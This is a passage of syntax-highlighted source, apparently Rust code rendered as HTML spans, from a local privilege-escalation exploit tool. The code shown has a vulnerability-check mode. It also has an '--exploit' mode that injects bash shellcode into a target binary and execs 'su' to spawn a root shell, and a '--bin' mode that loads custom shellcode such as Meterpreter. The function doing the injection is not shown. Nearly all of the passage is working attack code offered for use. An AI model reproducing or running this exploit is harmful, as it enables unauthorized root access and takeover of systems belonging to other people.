class="z-string z-quoted z-double z-python">[*] Mode: Vulnerability Testing<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">f</span></span> =</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">File</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">create</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TEST_FILE</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">f</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">write_all</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">vec</span></span>!<span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python">A<span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span>; <span class="z-constant z-numeric z-integer z-decimal z-python">64</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">File</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">open</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TEST_FILE</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">inject_payload</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_raw_fd</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">HACK<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">res</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">vec</span></span>!<span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0u8; <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">File</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">open</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TEST_FILE</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">read_exact</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">res</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-control z-conditional z-if z-python">if</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">res</span></span> <span class="z-keyword z-operator z-comparison z-python">==</span> <span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">HACK<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-constant z-character z-escape z-hex z-python">\x1b</span>[31;1m[!] VULNERABLE!<span class="z-constant z-character z-escape z-hex z-python">\x1b</span>[0m<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-control z-conditional z-else z-python">else</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">[+] SAFE<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fs</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">remove_file</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TEST_FILE</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">ok</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">--exploit<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> =<span class="z-keyword z-operator z-comparison z-python">&gt;</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Vulnerability</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">exploitation</span></span><span class="z-punctuation z-separator z-set z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">provide</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">interactive</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">shell</span></span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">[*] Mode: Privilege Escalation (Default: /bin/bash)<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">File</span></span><span class="z-invalid z-illegal z-colon-inside-set z-python">:</span><span class="z-invalid z-illegal z-colon-inside-set z-python">:</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">open</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TARGET_BINARY</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">inject_payload</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_raw_fd</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">BASH_SHELLCODE</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-constant z-character z-escape z-python">\n</span>[+] Spawning root shell...<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmd</span></span> = <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">CString</span></span><span class="z-invalid z-illegal z-colon-inside-set z-python">:</span><span class="z-invalid z-illegal z-colon-inside-set z-python">:</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">new</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">su<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">unwrap</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">execvp</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmd</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmd</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">--bin<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> =<span class="z-keyword z-operator z-comparison z-python">&gt;</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Load</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">customized</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">shellcode</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-support z-function z-builtin z-python">bin</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">file</span></span><span class="z-punctuation z-separator z-set z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">such</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Meterpreter</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-keyword z-control z-conditional z-if z-python">if</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">args</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">len</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-keyword z-operator z-comparison z-python">&lt;</span> <span class="z-constant z-numeric z-integer z-decimal z-python">3</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">[!] Error: Please specify a bin file.<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-invalid z-illegal z-name z-python">return</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">Ok</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-sequence z-tuple z-empty z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">bin_path</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">args</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">2</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">[*] Mode: Custom Shellcode Injection<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-sequence z-tuple z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">[*] Loading: <span class="z-constant z-other z-placeholder z-python"><span class="z-punctuation z-definition z-placeholder z-begin z-python">{</span><span class="z-punctuation z-definition z-placeholder z-end z-python">}</span></span><span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">bin_path</span></span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">custom_payload</span></span> <span 